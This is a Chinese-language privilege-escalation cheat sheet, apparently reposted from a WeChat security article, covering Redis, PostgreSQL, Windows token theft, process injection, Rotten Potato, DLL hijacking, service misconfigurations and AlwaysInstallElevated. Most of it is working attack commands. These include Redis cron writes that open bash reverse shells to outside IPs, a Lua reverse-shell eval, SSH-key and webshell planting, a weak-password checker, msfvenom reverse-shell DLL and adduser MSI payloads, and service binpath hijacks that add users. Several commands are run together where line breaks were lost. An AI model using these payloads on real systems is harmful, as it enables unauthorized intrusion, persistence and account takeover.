提权-Redis&Postgre&令牌窃取&进程注入
2021-12-20 14:37:23 Author: mp.weixin.qq.com(查看原文) 阅读量:14 收藏

Redis

https://github.com/iSafeBlue/redis-rce

windows 开机自启项

把这段JS放到

<SCRIPT Language="JScript">new ActiveXObject("WScript.Shell").run("calc.exe");</SCRIPT>

这个目录下

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\exp.hta

写计划任务执行命令反弹shell

主要是写在这些计划任务的目录下就好了

/var/spool/cron/用户名/var/spool/cron/crontabs/用户名/etc/crontab/etc/cron.d/xxx

redis-cli -h 192.168.2.6set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/4444 0>&1\n"config set dir /var/spool/cron/config set dbfilename rootsave

写ssh-keygen公钥使用私钥登录

1.本地生成key

ssh-keygen -t rsa  //注意结果没有换行(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txtcat key.txt | redis-cli -h 192.168.1.8 -x set xxx
is_rsa.pub192.168.63.130:6379> config set dir /root/.ssh/OK192.168.63.130:6379> config set dbfilename authorized_keysOK192.168.63.130:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali\n\n\n"OK192.168.63.130:6379> saveOK
ssh -i id_rsa [email protected]

低权限写webshell

config set dir /var/www/html/config set dbfilename shell.phpset x "$_POST['caidao']);?>"save

未授权检测

#! /usr/bin/env python# _*_  coding:utf-8 _*_import socketimport sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):    try:        socket.setdefaulttimeout(timeout)        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        s.connect((ip, int(port)))        s.send("INFO\r\n") result = s.recv(1024)
        if "redis_version" in result:            return u"未授权访问"        elif "Authentication" in result:            for pass_ in PASSWORD_DIC:                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                s.connect((ip, int(port)))                s.send("AUTH %s\r\n" %(pass_))                result = s.recv(1024)                if '+OK' in result:                    return u"存在弱口令,密码:%s" % (pass_)    except Exception, e: pass
if __name__ == '__main__':    ip=sys.argv[1]    port=sys.argv[2] print check(ip,port, timeout=10)

主从备份getshell

https://github.com/Ridter/redis-rce 

https://github.com/n0b0dyCN/redis-rogue-server

Lua RCE

https://github.com/QAX-A-Team/redis_lua_exploit/

eval "tonumber('/bin/bash -i >& /dev/tcp/192.168.91.1/2333 0>&1', 8)" 0

Postgre

CVE-2018-1058

CVE-2019-9193

令牌窃取

msf

use incognitolist_token -uimpersonate_token 'xxx\Administrator'

进程注入

pinjector 注入win2008以前的系统 

pexec64 32注入2008以后的系统(佛系)

烂土豆

上传烂土豆
执行烂土豆
利用窃取模块
窃取SYSTEM

提权原理

欺骗"NT AUTHORITY\SYSTEM"账户通过NTLM认证到我们控制的TCP终端
对这个认证过程使用中间人攻击(NTLM重放),为"NT AUTHORITY\SYSTEM"账户本地协商一个安全令牌。这个过程是通过一些列的WINDOWS API调用实现的。
模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌,一般大多数的服务型账户(IIS MSSQL等)都具有这个权限,大多数用户级账户没有这个权限。
所以一般拿到webshell都是IIS权限,是具有模仿权限的,测试过程中,最好使用服务账户
烂土豆比热土豆的优点

100%可靠

全版本通杀(需要测试)

立即生效,不用像hot potato那样有时候需要等windows更新才能用。

通过中间人攻击,将COM(NT\SYSTEM权限)在第二部分挑战应答过程中认证的区块改成自己的区块获取system令牌,然后利用msf的模仿令牌功能模仿SYSTEM令牌
upload /root/potato.exe C:\Users\Publiccd C:\\Users\\Publicuse incognitolist_tokens -uexecute -cH -f ./potato.exelist_tokens -uimpersonate_token "NT AUTHORITY\SYSTEM"

DLL劫持

原理

windows启动的时候需要加载dll,如果这些DLL不存在,则通过应用程序查找的位置放置恶意DLL来提权。通常Windows应用程序有预定义好的搜索DLL路径。

1.应用程序加载的路径
2.c:\windows\system32
3.c:\windows\system
4.c:\windows
5.当前工作目录Current Working Directory, CWD
6.在PATH环境变量的目录(先系统后用户)
msfvenom -p windows/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=1111 -f dll > /opt/xxx.dll

利用过程

1.查看进程
2.调试进程
3.制作DLL并上传
4.替换DLL
5.启动应用

不带引号服务路径安全问题

原理

当windows服务运行时,会发生一下两种情况。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释去执行。

但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分割的服务路径的第一个实例。

过程

检测引号服务路径
利用路径制作文件并上传
启动服务或重启
调用
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
如果检测到的结果是C:\Program Files (x86)\Cisco\Cisco HostScan\bin\ciscod.exe我们可以创建一个C:\Program.exeC:\Program Files (x86)\Cisco\Cisco.exe当然需要判断路径是否可写icacls C:\Program Files (x86)\Cisco(M)代表修改权限,(F)代表完全控制,(CI)代表从属容器将继承访问控制项,(OI)代表从属文件将继承访问控制项。
重启sc stop "服务名"sc start "服务名"
假如我们的exe会弹回一个SYSTEM权限的meterpreter shell,但是我们新得到的会话很快就中断了。这是因为当一个服务在Windows系统中启动后,它必须和服务控制管理器通信。如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。我们所有需要做的就是在终止载荷进程之前,将它迁移到其它进程,也可以使用自动迁移:set AutoRunScript migrate -f

不安全的服务权限问题

即使正确应用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件

过程

检测服务权限配置
制作文件并上传
更改服务路径只想
调用后成功
找到对应服务给这个服务设置新的路径重启这个服务

accesschk.exe -uwcqv "administrators" *
利用1,利用MSF后门马sc config "NewServiceName" binpath="C:\test.exe"sc start "NewServiceName"

利用2,直接执行命令修改服务配置执行命令。BINARY_PATH_NAME参数指向了该服务的可执行程序(PFNET)路径。如果我们将这个值修改成任何命令,那意味着这个命令在该服务下一次启动时,将会以SYSTEM权限运行。sc config PFNET binpath= "net user test P@ssword123! /add"sc stop PFNETsc start PFNETsc config PFNET binpath= "net localgroup test P@ssword123! /add"sc stop PFNETsc start PFNET
当尝试启动服务时,它会返回一个错误。这一点我们之前已经讨论过了,在Windows系统中,当一个服务在Windows系统中启动后,它必须和服务控制管理器通信。如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。上面的“net user”肯定是无法和服务管理器通信的,但是不用担心,我们的命令已经以SYSTEM权限运行了,并且成功添加了一个用户。

不安全的安装

AlwaysInstallElevated是一个策略设置,允许非管理用户以SYSTEM权限运行Microsoft Windows安装程序包(.MSI文件)的设置。

默认情况下禁用此设置,需系统管理员手动启用他,当在系统中使用Windows Installer安装任何程序时,该参数允许非特权用户以system权限运行MSI文件。

如果目标系统上启用了这一设置,我们可以使用msf生成msi文件来以system权限执行任意payload。可以通过查询以下注册表来识别此设置,当两个注册表键值查询结果均为1时,代表该策略已启用:

[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001

利用步骤

1.查询是否有漏洞

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedorreg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

2.如果有漏洞提示1 

 

3. 如果没有漏洞提示报错

C:\Users\hp\Desktop>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedreg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedERROR: The system was unable to find the specified registry key or value.

4.生成MSI,执行MSI

msfvenom -p windows/adduser USER=test000 PASSWORD=password123! -f msi -o rotten.msimsiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\rotten.msi

文章来源: https://mp.weixin.qq.com/s?__biz=Mzg5MzU4NTgwNQ==&mid=2247484911&idx=1&sn=c97d293761bbf1ad3299b48c71c061a3&chksm=c02dd50df75a5c1ba0eb166871b304d17b35152e9ba677af33a4bbd24616b16266d1403177cc&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh